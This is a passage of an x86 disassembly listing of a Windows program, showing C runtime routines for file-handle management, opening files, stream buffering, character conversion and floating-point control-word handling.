or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov edx, [ecx]
add eax, 8
add edx, esi
jmp short loc_423696
; ---------------------------------------------------------------------------
loc_4236AE: ; CODE XREF: sub_423624+74j
shl edi, 5
mov ebx, edi
loc_4236B3: ; CODE XREF: sub_423624+39j
; sub_423624+4Aj ...
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_423624 endp
; =============== S U B R O U T I N E =======================================
sub_4236B9 proc near ; CODE XREF: sub_42393B+1F4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_4DAB60
push edi
jnb short loc_423719
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:4DAA60h[ecx*4]
shl esi, 3
mov ecx, [edi]
cmp dword ptr [ecx+esi], 0FFFFFFFFh
jnz short loc_423719
cmp dword_43A674, 1
push ebx
mov ebx, [esp+0Ch+arg_4]
jnz short loc_42370F
sub eax, 0
jz short loc_423706
dec eax
jz short loc_423701
dec eax
jnz short loc_42370F
push ebx
push 0FFFFFFF4h
jmp short loc_423709
; ---------------------------------------------------------------------------
loc_423701: ; CODE XREF: sub_4236B9+3Ej
push ebx
push 0FFFFFFF5h
jmp short loc_423709
; ---------------------------------------------------------------------------
loc_423706: ; CODE XREF: sub_4236B9+3Bj
push ebx
push 0FFFFFFF6h
loc_423709: ; CODE XREF: sub_4236B9+46j
; sub_4236B9+4Bj
call near ptr 2610C72h
nop
loc_42370F: ; CODE XREF: sub_4236B9+36j
; sub_4236B9+41j
mov eax, [edi]
mov [eax+esi], ebx
xor eax, eax
pop ebx
jmp short loc_42372D
; ---------------------------------------------------------------------------
loc_423719: ; CODE XREF: sub_4236B9+Cj
; sub_4236B9+28j
and dword_4D9718, 0
mov dword_4D9714, 9
or eax, 0FFFFFFFFh
loc_42372D: ; CODE XREF: sub_4236B9+5Ej
pop edi
pop esi
retn
sub_4236B9 endp
; =============== S U B R O U T I N E =======================================
sub_423730 proc near ; CODE XREF: sub_41E212+7Cp
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
cmp ecx, dword_4DAB60
push edi
jnb short loc_423793
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea edi, ds:4DAA60h[eax*4]
shl esi, 3
mov eax, [edi]
add eax, esi
test byte ptr [eax+4], 1
jz short loc_423793
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_423793
cmp dword_43A674, 1
jnz short loc_423789
xor eax, eax
sub ecx, eax
jz short loc_423780
dec ecx
jz short loc_42377B
dec ecx
jnz short loc_423789
push eax
push 0FFFFFFF4h
jmp short loc_423783
; ---------------------------------------------------------------------------
loc_42377B: ; CODE XREF: sub_423730+41j
push eax
push 0FFFFFFF5h
jmp short loc_423783
; ---------------------------------------------------------------------------
loc_423780: ; CODE XREF: sub_423730+3Ej
push eax
push 0FFFFFFF6h
loc_423783: ; CODE XREF: sub_423730+49j
; sub_423730+4Ej
call near ptr 2610C72h
nop
loc_423789: ; CODE XREF: sub_423730+38j
; sub_423730+44j
mov eax, [edi]
or dword ptr [eax+esi], 0FFFFFFFFh
xor eax, eax
jmp short loc_4237A7
; ---------------------------------------------------------------------------
loc_423793: ; CODE XREF: sub_423730+Cj
; sub_423730+2Aj ...
and dword_4D9718, 0
mov dword_4D9714, 9
or eax, 0FFFFFFFFh
loc_4237A7: ; CODE XREF: sub_423730+61j
pop edi
pop esi
retn
sub_423730 endp
; =============== S U B R O U T I N E =======================================
sub_4237AA proc near ; CODE XREF: sub_41E212+32p
; sub_41E212+49p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DAB60
jnb short loc_4237D2
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DAA60[ecx*4]
test byte ptr [ecx+eax*8+4], 1
lea eax, [ecx+eax*8]
jz short loc_4237D2
mov eax, [eax]
retn
; ---------------------------------------------------------------------------
loc_4237D2: ; CODE XREF: sub_4237AA+Aj
; sub_4237AA+23j
and dword_4D9718, 0
mov dword_4D9714, 9
or eax, 0FFFFFFFFh
retn
sub_4237AA endp
; =============== S U B R O U T I N E =======================================
sub_4237E7 proc near ; CODE XREF: sub_41E2F0+2Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DAB60
jnb short loc_423830
mov ecx, eax
mov edx, eax
sar ecx, 5
and edx, 1Fh
mov ecx, dword_4DAA60[ecx*4]
test byte ptr [ecx+edx*8+4], 1
jz short loc_423830
push eax
call sub_4237AA
pop ecx
push eax
call near ptr 26107CAh
nop
test eax, eax
jnz short loc_423825
call near ptr 2680DCDh
nop
jmp short loc_423827
; ---------------------------------------------------------------------------
loc_423825: ; CODE XREF: sub_4237E7+34j
xor eax, eax
loc_423827: ; CODE XREF: sub_4237E7+3Cj
test eax, eax
jz short locret_42383D
mov dword_4D9718, eax
loc_423830: ; CODE XREF: sub_4237E7+Aj
; sub_4237E7+22j
mov dword_4D9714, 9
or eax, 0FFFFFFFFh
locret_42383D: ; CODE XREF: sub_4237E7+42j
retn
sub_4237E7 endp
; =============== S U B R O U T I N E =======================================
sub_42383E proc near ; DATA XREF: ___:00429024o
mov eax, dword_4DAA40
push esi
push 14h
test eax, eax
pop esi
jnz short loc_423852
mov eax, 200h
jmp short loc_423858
; ---------------------------------------------------------------------------
loc_423852: ; CODE XREF: sub_42383E+Bj
cmp eax, esi
jge short loc_42385D
mov eax, esi
loc_423858: ; CODE XREF: sub_42383E+12j
mov dword_4DAA40, eax
loc_42385D: ; CODE XREF: sub_42383E+16j
push 4
push eax
call sub_424D11
pop ecx
mov dword_4D9A30, eax
test eax, eax
pop ecx
jnz short loc_423891
push 4
push esi
mov dword_4DAA40, esi
call sub_424D11
pop ecx
mov dword_4D9A30, eax
test eax, eax
pop ecx
jnz short loc_423891
push 1Ah
call sub_41E1C9
pop ecx
loc_423891: ; CODE XREF: sub_42383E+30j
; sub_42383E+49j
xor ecx, ecx
mov eax, offset off_43AD78
loc_423898: ; CODE XREF: sub_42383E+6Ej
mov edx, dword_4D9A30
mov [ecx+edx], eax
add eax, 20h
add ecx, 4
cmp eax, offset dword_43AFF8
jl short loc_423898
xor edx, edx
mov ecx, offset dword_43AD88
loc_4238B5: ; CODE XREF: sub_42383E+A1j
mov eax, edx
mov esi, edx
sar eax, 5
and esi, 1Fh
mov eax, dword_4DAA60[eax*4]
mov eax, [eax+esi*8]
cmp eax, 0FFFFFFFFh
jz short loc_4238D2
test eax, eax
jnz short loc_4238D5
loc_4238D2: ; CODE XREF: sub_42383E+8Ej
or dword ptr [ecx], 0FFFFFFFFh
loc_4238D5: ; CODE XREF: sub_42383E+92j
add ecx, 20h
inc edx
cmp ecx, offset dword_43ADE8
jl short loc_4238B5
pop esi
retn
sub_42383E endp
; =============== S U B R O U T I N E =======================================
sub_4238E3 proc near ; DATA XREF: ___:00429034o
; FUNCTION CHUNK AT 00424D8E SIZE 00000058 BYTES
call sub_41E387
cmp byte_4D9754, 0
jz short locret_4238F6
jmp loc_424D8E
; ---------------------------------------------------------------------------
locret_4238F6: ; CODE XREF: sub_4238E3+Cj
retn
sub_4238E3 endp
; =============== S U B R O U T I N E =======================================
sub_4238F7 proc near ; CODE XREF: sub_41EF78+32p
; sub_41F4BF+6Cp ...
arg_0 = dword ptr 4
inc dword_4D98FC
push 1000h
call sub_41BC9B
pop ecx
mov ecx, [esp+arg_0]
test eax, eax
mov [ecx+8], eax
jz short loc_423920
or dword ptr [ecx+0Ch], 8
mov dword ptr [ecx+18h], 1000h
jmp short loc_423931
; ---------------------------------------------------------------------------
loc_423920: ; CODE XREF: sub_4238F7+1Aj
or dword ptr [ecx+0Ch], 4
lea eax, [ecx+14h]
mov [ecx+8], eax
mov dword ptr [ecx+18h], 2
loc_423931: ; CODE XREF: sub_4238F7+27j
mov eax, [ecx+8]
and dword ptr [ecx+4], 0
mov [ecx], eax
retn
sub_4238F7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42393B proc near ; CODE XREF: sub_41F262+13Fp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 1Ch
mov ecx, [ebp+arg_4]
push ebx
xor ebx, ebx
push esi
test cl, 80h
push edi
mov [ebp+var_1C], 0Ch
mov [ebp+var_18], ebx
jz short loc_423961
mov [ebp+var_14], ebx
mov [ebp+var_1], 10h
jmp short loc_42396C
; ---------------------------------------------------------------------------
loc_423961: ; CODE XREF: sub_42393B+1Bj
and [ebp+var_1], 0
mov [ebp+var_14], 1
loc_42396C: ; CODE XREF: sub_42393B+24j
mov eax, 8000h
test ecx, eax
jnz short loc_423986
test ch, 40h
jnz short loc_423982
cmp dword_4D9A08, eax
jz short loc_423986
loc_423982: ; CODE XREF: sub_42393B+3Dj
or [ebp+var_1], 80h
loc_423986: ; CODE XREF: sub_42393B+38j
; sub_42393B+45j
push 3
mov eax, ecx
pop esi
and eax, esi
sub eax, ebx
jz short loc_4239BE
dec eax
jz short loc_4239B5
dec eax
jz short loc_4239AC
loc_423997: ; CODE XREF: sub_42393B+9Fj
; sub_42393B+E8j ...
mov dword_4D9714, 16h
mov dword_4D9718, ebx
jmp loc_423BD1
; ---------------------------------------------------------------------------
loc_4239AC: ; CODE XREF: sub_42393B+5Aj
mov [ebp+var_C], 0C0000000h
jmp short loc_4239C5
; ---------------------------------------------------------------------------
loc_4239B5: ; CODE XREF: sub_42393B+57j
mov [ebp+var_C], 40000000h
jmp short loc_4239C5
; ---------------------------------------------------------------------------
loc_4239BE: ; CODE XREF: sub_42393B+54j
mov [ebp+var_C], 80000000h
loc_4239C5: ; CODE XREF: sub_42393B+78j
; sub_42393B+81j
mov eax, [ebp+arg_8]
cmp eax, 10h
jz short loc_4239F3
cmp eax, 20h
jz short loc_4239EA
cmp eax, 30h
jz short loc_4239E1
cmp eax, 40h
jnz short loc_423997
mov [ebp+var_10], esi
jmp short loc_4239F6
; ---------------------------------------------------------------------------
loc_4239E1: ; CODE XREF: sub_42393B+9Aj
mov [ebp+var_10], 2
jmp short loc_4239F6
; ---------------------------------------------------------------------------
loc_4239EA: ; CODE XREF: sub_42393B+95j
mov [ebp+var_10], 1
jmp short loc_4239F6
; ---------------------------------------------------------------------------
loc_4239F3: ; CODE XREF: sub_42393B+90j
mov [ebp+var_10], ebx
loc_4239F6: ; CODE XREF: sub_42393B+A4j
; sub_42393B+ADj ...
mov edx, 700h
mov eax, 400h
and ecx, edx
mov edi, 100h
cmp ecx, eax
jg short loc_423A40
jz short loc_423A3B
cmp ecx, ebx
jz short loc_423A3B
cmp ecx, edi
jz short loc_423A32
cmp ecx, 200h
jz short loc_423A59
cmp ecx, 300h
jnz loc_423997
mov [ebp+var_8], 2
jmp short loc_423A69
; ---------------------------------------------------------------------------
loc_423A32: ; CODE XREF: sub_42393B+D8j
mov [ebp+var_8], 4
jmp short loc_423A69
; ---------------------------------------------------------------------------
loc_423A3B: ; CODE XREF: sub_42393B+D0j
; sub_42393B+D4j
mov [ebp+var_8], esi
jmp short loc_423A69
; ---------------------------------------------------------------------------
loc_423A40: ; CODE XREF: sub_42393B+CEj
cmp ecx, 500h
jz short loc_423A62
cmp ecx, 600h
jz short loc_423A59
cmp ecx, edx
jz short loc_423A62
jmp loc_423997
; ---------------------------------------------------------------------------
loc_423A59: ; CODE XREF: sub_42393B+E0j
; sub_42393B+113j
mov [ebp+var_8], 5
jmp short loc_423A69
; ---------------------------------------------------------------------------
loc_423A62: ; CODE XREF: sub_42393B+10Bj
; sub_42393B+117j
mov [ebp+var_8], 1
loc_423A69: ; CODE XREF: sub_42393B+F5j
; sub_42393B+FEj ...
mov eax, [ebp+arg_4]
mov esi, 80h
test eax, edi
jz short loc_423A88
mov ecx, dword_4D971C
not ecx
and ecx, [ebp+arg_C]
test cl, 80h
jnz short loc_423A88
push 1
pop esi
loc_423A88: ; CODE XREF: sub_42393B+138j
; sub_42393B+148j
test al, 40h
jz short loc_423A96
or esi, 4000000h
or byte ptr [ebp+var_C+2], 1
loc_423A96: ; CODE XREF: sub_42393B+14Fj
test ah, 10h
jz short loc_423A9D
or esi, edi
loc_423A9D: ; CODE XREF: sub_42393B+15Ej
test al, 20h
jz short loc_423AA9
or esi, 8000000h
jmp short loc_423AB3
; ---------------------------------------------------------------------------
loc_423AA9: ; CODE XREF: sub_42393B+164j
test al, 10h
jz short loc_423AB3
or esi, 10000000h
loc_423AB3: ; CODE XREF: sub_42393B+16Cj
; sub_42393B+170j
call sub_423624
mov ebx, eax
or edi, 0FFFFFFFFh
cmp ebx, edi
jnz short loc_423AD4
and dword_4D9718, 0
mov dword_4D9714, 18h
jmp short loc_423B12
; ---------------------------------------------------------------------------
loc_423AD4: ; CODE XREF: sub_42393B+184j
push 0
push esi
push [ebp+var_8]
lea eax, [ebp+var_1C]
push eax
push [ebp+var_10]
push [ebp+var_C]
push [ebp+arg_0]
nop
call near ptr 27306D8h
mov esi, eax
cmp esi, edi
jz short loc_423B05
push esi
call near ptr 2620000h
nop
test eax, eax
jnz short loc_423B19
push esi
nop
call near ptr 2660000h
loc_423B05: ; CODE XREF: sub_42393B+1B6j
nop
call near ptr 2680DCDh
push eax
call sub_420314
pop ecx
loc_423B12: ; CODE XREF: sub_42393B+197j
mov eax, edi
jmp loc_423BEF
; ---------------------------------------------------------------------------
loc_423B19: ; CODE XREF: sub_42393B+1C1j
cmp eax, 2
jnz short loc_423B24
or [ebp+var_1], 40h
jmp short loc_423B2D
; ---------------------------------------------------------------------------
loc_423B24: ; CODE XREF: sub_42393B+1E1j
cmp eax, 3
jnz short loc_423B2D
or [ebp+var_1], 8
loc_423B2D: ; CODE XREF: sub_42393B+1E7j
; sub_42393B+1ECj
push esi
push ebx
call sub_4236B9
pop ecx
mov al, [ebp+var_1]
pop ecx
mov esi, ebx
mov ecx, ebx
or al, 1
sar ecx, 5
and esi, 1Fh
mov byte ptr [ebp+arg_0+3], al
lea edi, ds:4DAA60h[ecx*4]
shl esi, 3
mov ecx, [edi]
and byte ptr [ebp+arg_0+3], 48h
mov [ecx+esi+4], al
jnz short loc_423BD6
test al, 80h
jz short loc_423BD6
test byte ptr [ebp+arg_4], 2
jz short loc_423BD6
push 2
push 0FFFFFFFFh
push ebx
call sub_422633
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jnz short loc_423B8B
cmp dword_4D9718, 83h
jz short loc_423BD6
jmp short loc_423BCA
; ---------------------------------------------------------------------------
loc_423B8B: ; CODE XREF: sub_42393B+240j
and byte ptr [ebp+arg_8+3], 0
lea eax, [ebp+arg_8+3]
push 1
push eax
push ebx
call sub_41F051
add esp, 0Ch
test eax, eax
jnz short loc_423BB8
cmp byte ptr [ebp+arg_8+3], 1Ah
jnz short loc_423BB8
push [ebp+var_10]
push ebx
call sub_424DE6
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_423BCA
loc_423BB8: ; CODE XREF: sub_42393B+265j
; sub_42393B+26Bj
push 0
push 0
push ebx
call sub_422633
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_423BD6
loc_423BCA: ; CODE XREF: sub_42393B+24Ej
; sub_42393B+27Bj
push ebx
call sub_41E212
pop ecx
loc_423BD1: ; CODE XREF: sub_42393B+6Cj
or eax, 0FFFFFFFFh
jmp short loc_423BEF
; ---------------------------------------------------------------------------
loc_423BD6: ; CODE XREF: sub_42393B+221j
; sub_42393B+225j ...
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_423BED
test byte ptr [ebp+arg_4], 8
jz short loc_423BED
mov eax, [edi]
or byte ptr [eax+esi+4], 20h
lea eax, [eax+esi+4]
loc_423BED: ; CODE XREF: sub_42393B+29Fj
; sub_42393B+2A5j
mov eax, ebx
loc_423BEF: ; CODE XREF: sub_42393B+1D9j
; sub_42393B+299j
pop edi
pop esi
pop ebx
leave
retn
sub_42393B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423BF4 proc near ; CODE XREF: sub_41F44A+5Ep
; sub_42001D+9Ap
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427C18
push offset sub_4233C0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_4D9904
xor ebx, ebx
cmp eax, ebx
jnz short loc_423C63
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_427908
push esi
nop
call near ptr 260055Fh
test eax, eax
jz short loc_423C41
mov eax, esi
jmp short loc_423C5E
; ---------------------------------------------------------------------------
loc_423C41: ; CODE XREF: sub_423BF4+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset word_4C91BC
push esi
push ebx
nop
call near ptr 2610000h
test eax, eax
jz loc_423D29
push 2
pop eax
loc_423C5E: ; CODE XREF: sub_423BF4+4Bj
mov dword_4D9904, eax
loc_423C63: ; CODE XREF: sub_423BF4+2Fj
cmp eax, 2
jnz short loc_423C8C
mov eax, [ebp+arg_14]
cmp eax, ebx
jnz short loc_423C74
mov eax, dword_4D97D0
loc_423C74: ; CODE XREF: sub_423BF4+79j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
nop
call near ptr 2610000h
jmp loc_423D2B
; ---------------------------------------------------------------------------
loc_423C8C: ; CODE XREF: sub_423BF4+72j
cmp eax, 1
jnz loc_423D29
cmp [ebp+arg_10], ebx
jnz short loc_423CA2
mov eax, dword_4D97E0
mov [ebp+arg_10], eax
loc_423CA2: ; CODE XREF: sub_423BF4+A4j
push ebx
push ebx
push [ebp+arg_8]
push [ebp+arg_4]
mov eax, [ebp+arg_18]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_10]
nop
call near ptr 2700000h
mov [ebp+var_20], eax
cmp eax, ebx
jz short loc_423D29
mov [ebp+var_4], ebx
lea edi, [eax+eax]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_41C2A0
mov [ebp+var_18], esp
mov esi, esp
mov [ebp+var_24], esi
push edi
push ebx
push esi
call sub_41BD10
add esp, 0Ch
jmp short loc_423CF8
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor esi, esi
loc_423CF8: ; CODE XREF: sub_423BF4+F7j
or [ebp+var_4], 0FFFFFFFFh
cmp esi, ebx
jz short loc_423D29
push [ebp+var_20]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push 1
push [ebp+arg_10]
nop
call near ptr 2700000h
cmp eax, ebx
jz short loc_423D29
push [ebp+arg_C]
push eax
push esi
push [ebp+arg_0]
call near ptr 260055Fh
nop
jmp short loc_423D2B
; ---------------------------------------------------------------------------
loc_423D29: ; CODE XREF: sub_423BF4+61j
; sub_423BF4+9Bj ...
xor eax, eax
loc_423D2B: ; CODE XREF: sub_423BF4+93j
; sub_423BF4+133j
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_423BF4 endp
; =============== S U B R O U T I N E =======================================
sub_423D3D proc near ; CODE XREF: sub_41F4BF+61p
; sub_42037B+8p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DAB60
jb short loc_423D4C
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_423D4C: ; CODE XREF: sub_423D3D+Aj
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DAA60[ecx*4]
mov al, [ecx+eax*8+4]
and eax, 40h
retn
sub_423D3D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423D63 proc near ; CODE XREF: sub_41F5D4+2D4p
; sub_41F5D4+6B3p
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
test eax, eax
jnz short loc_423D6F
pop ebp
retn
; ---------------------------------------------------------------------------
loc_423D6F: ; CODE XREF: sub_423D63+8j
cmp dword_4D97D0, 0
jnz short loc_423D8A
mov cx, [ebp+arg_4]
cmp cx, 0FFh
ja short loc_423DBC
push 1
mov [eax], cl
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_423D8A: ; CODE XREF: sub_423D63+13j
lea ecx, [ebp+arg_0]
and [ebp+arg_0], 0
push ecx
push 0
push dword_43A88C
push eax
lea eax, [ebp+arg_4]
push 1
push eax
push 220h
push dword_4D97E0
call near ptr 28310EEh
nop
test eax, eax
jz short loc_423DBC
cmp [ebp+arg_0], 0
jz short loc_423DC9
loc_423DBC: ; CODE XREF: sub_423D63+1Ej
; sub_423D63+51j
mov dword_4D9714, 2Ah
or eax, 0FFFFFFFFh
loc_423DC9: ; CODE XREF: sub_423D63+57j
pop ebp
retn
sub_423D63 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423DCB proc near ; CODE XREF: sub_420445+6A3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
cmp esi, ebx
jz short loc_423DEE
cmp [ebp+arg_8], ebx
jz short loc_423DEE
mov al, [esi]
cmp al, bl
jnz short loc_423DF4
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_423DEE
mov [eax], bx
loc_423DEE: ; CODE XREF: sub_423DCB+Cj
; sub_423DCB+11j ...
xor eax, eax
loc_423DF0: ; CODE XREF: sub_423DCB+42j
; sub_423DCB+86j ...
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_423DF4: ; CODE XREF: sub_423DCB+17j
cmp dword_4D97D0, ebx
jnz short loc_423E0F
mov ecx, [ebp+arg_0]
cmp ecx, ebx
jz short loc_423E0A
movzx ax, al
mov [ecx], ax
loc_423E0A: ; CODE XREF: sub_423DCB+36j
; sub_423DCB+C0j
push 1
pop eax
jmp short loc_423DF0
; ---------------------------------------------------------------------------
loc_423E0F: ; CODE XREF: sub_423DCB+2Fj
mov ecx, off_43A680
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_423E6C
mov eax, dword_43A88C
cmp eax, 1
jle short loc_423E53
cmp [ebp+arg_8], eax
jl short loc_423E5D
xor ecx, ecx
cmp [ebp+arg_0], ebx
setnz cl
push ecx
push [ebp+arg_0]
push eax
push esi
push 9
push dword_4D97E0
call near ptr 2700000h
nop
test eax, eax
mov eax, dword_43A88C
jnz short loc_423DF0
loc_423E53: ; CODE XREF: sub_423DCB+5Cj
cmp [ebp+arg_8], eax
jb short loc_423E5D
cmp [esi+1], bl
jnz short loc_423DF0
loc_423E5D: ; CODE XREF: sub_423DCB+61j
; sub_423DCB+8Bj ...
mov dword_4D9714, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_423DF0
; ---------------------------------------------------------------------------
loc_423E6C: ; CODE XREF: sub_423DCB+52j
xor eax, eax
cmp [ebp+arg_0], ebx
setnz al
push eax
push [ebp+arg_0]
push 1
push esi
push 9
push dword_4D97E0
call near ptr 2700000h
nop
test eax, eax
jnz loc_423E0A
jmp short loc_423E5D
sub_423DCB endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_423EA0 proc near ; CODE XREF: sub_420445+797p
; sub_420445+7E7p
cmp cl, 40h
jnb short loc_423EBA
cmp cl, 20h
jnb short loc_423EB0
shld edx, eax, cl
shl eax, cl
retn
; ---------------------------------------------------------------------------
loc_423EB0: ; CODE XREF: sub_423EA0+8j
mov edx, eax
xor eax, eax
and cl, 1Fh
shl edx, cl
retn
; ---------------------------------------------------------------------------
loc_423EBA: ; CODE XREF: sub_423EA0+3j
xor eax, eax
xor edx, edx
retn
sub_423EA0 endp
; =============== S U B R O U T I N E =======================================
sub_423EBF proc near ; CODE XREF: sub_420EBB+Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, 0FFFFFFFFh
push esi
jz short loc_423F0B
mov esi, [esp+8+arg_4]
mov eax, [esi+0Ch]
test al, 1
jnz short loc_423EDD
test al, 80h
jz short loc_423F0B
test al, 2
jnz short loc_423F0B
loc_423EDD: ; CODE XREF: sub_423EBF+14j
cmp dword ptr [esi+8], 0
jnz short loc_423EEA
push esi
call sub_4238F7
pop ecx
loc_423EEA: ; CODE XREF: sub_423EBF+22j
mov eax, [esi]
cmp eax, [esi+8]
jnz short loc_423EFA
cmp dword ptr [esi+4], 0
jnz short loc_423F0B
inc eax
mov [esi], eax
loc_423EFA: ; CODE XREF: sub_423EBF+30j
test byte ptr [esi+0Ch], 40h
jz short loc_423F11
dec dword ptr [esi]
mov eax, [esi]
cmp [eax], bl
jz short loc_423F17
inc eax
mov [esi], eax
loc_423F0B: ; CODE XREF: sub_423EBF+9j
; sub_423EBF+18j ...
or eax, 0FFFFFFFFh
loc_423F0E: ; CODE XREF: sub_423EBF+6Cj
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_423F11: ; CODE XREF: sub_423EBF+3Fj
dec dword ptr [esi]
mov eax, [esi]
mov [eax], bl
loc_423F17: ; CODE XREF: sub_423EBF+47j
mov eax, [esi+0Ch]
inc dword ptr [esi+4]
and al, 0EFh
or al, 1
mov [esi+0Ch], eax
mov eax, ebx
and eax, 0FFh
jmp short loc_423F0E
sub_423EBF endp
; =============== S U B R O U T I N E =======================================
sub_423F2D proc near ; CODE XREF: sub_4214AB+52p
xor eax, eax
retn
sub_423F2D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423F30 proc near ; CODE XREF: sub_423F65+Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
fstcw word ptr [ebp+var_4]
push [ebp+var_4]
call sub_423F7B
mov esi, eax
mov eax, [ebp+arg_4]
not eax
and esi, eax
mov eax, [ebp+arg_0]
and eax, [ebp+arg_4]
or esi, eax
push esi
call sub_42400D
pop ecx
mov [ebp+arg_4], eax
pop ecx
fldcw word ptr [ebp+arg_4]
mov eax, esi
pop esi
leave
retn
sub_423F30 endp
; =============== S U B R O U T I N E =======================================
sub_423F65 proc near ; CODE XREF: sub_421797+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
and eax, 0FFF7FFFFh
push eax
push [esp+4+arg_0]
call sub_423F30
pop ecx
pop ecx
retn
sub_423F65 endp
; =============== S U B R O U T I N E =======================================
sub_423F7B proc near ; CODE XREF: sub_423F30+Cp
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push ebp
test bl, 1
push edi
jz short loc_423F8C
push 10h
pop eax
loc_423F8C: ; CODE XREF: sub_423F7B+Cj
test bl, 4
jz short loc_423F93
or al, 8
loc_423F93: ; CODE XREF: sub_423F7B+14j
test bl, 8
jz short loc_423F9A
or al, 4
loc_423F9A: ; CODE XREF: sub_423F7B+1Bj
test bl, 10h
jz short loc_423FA1
or al, 2
loc_423FA1: ; CODE XREF: sub_423F7B+22j
test bl, 20h
jz short loc_423FA8
or al, 1
loc_423FA8: ; CODE XREF: sub_423F7B+29j
test bl, 2
jz short loc_423FB2
or eax, 80000h
loc_423FB2: ; CODE XREF: sub_423F7B+30j
movzx ecx, bx
push esi
mov edx, ecx
mov esi, 0C00h
mov edi, 300h
and edx, esi
mov ebp, 200h
jz short loc_423FEA
cmp edx, 400h
jz short loc_423FE7
cmp edx, 800h
jz short loc_423FE3
cmp edx, esi
jnz short loc_423FEA
or eax, edi
jmp short loc_423FEA
; ---------------------------------------------------------------------------
loc_423FE3: ; CODE XREF: sub_423F7B+5Ej
or eax, ebp
jmp short loc_423FEA
; ---------------------------------------------------------------------------
loc_423FE7: ; CODE XREF: sub_423F7B+56j
or ah, 1
loc_423FEA: ; CODE XREF: sub_423F7B+4Ej
; sub_423F7B+62j ...
and ecx, edi
pop esi
jz short loc_423FFA
cmp ecx, ebp
jnz short loc_423FFF
or eax, 10000h
jmp short loc_423FFF
; ---------------------------------------------------------------------------
loc_423FFA: ; CODE XREF: sub_423F7B+72j
or eax, 20000h
loc_423FFF: ; CODE XREF: sub_423F7B+76j
; sub_423F7B+7Dj
pop edi
pop ebp
test bh, 10h
pop ebx
jz short locret_42400C
or eax, 40000h
locret_42400C: ; CODE XREF: sub_423F7B+8Aj
retn
sub_423F7B endp
; =============== S U B R O U T I N E =======================================
sub_42400D proc near ; CODE XREF: sub_423F30+23p
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push esi
test bl, 10h
jz short loc_42401D
push 1
pop eax
loc_42401D: ; CODE XREF: sub_42400D+Bj
test bl, 8
jz short loc_424024
or al, 4
loc_424024: ; CODE XREF: sub_42400D+13j
test bl, 4
jz short loc_42402B
or al, 8
loc_42402B: ; CODE XREF: sub_42400D+1Aj
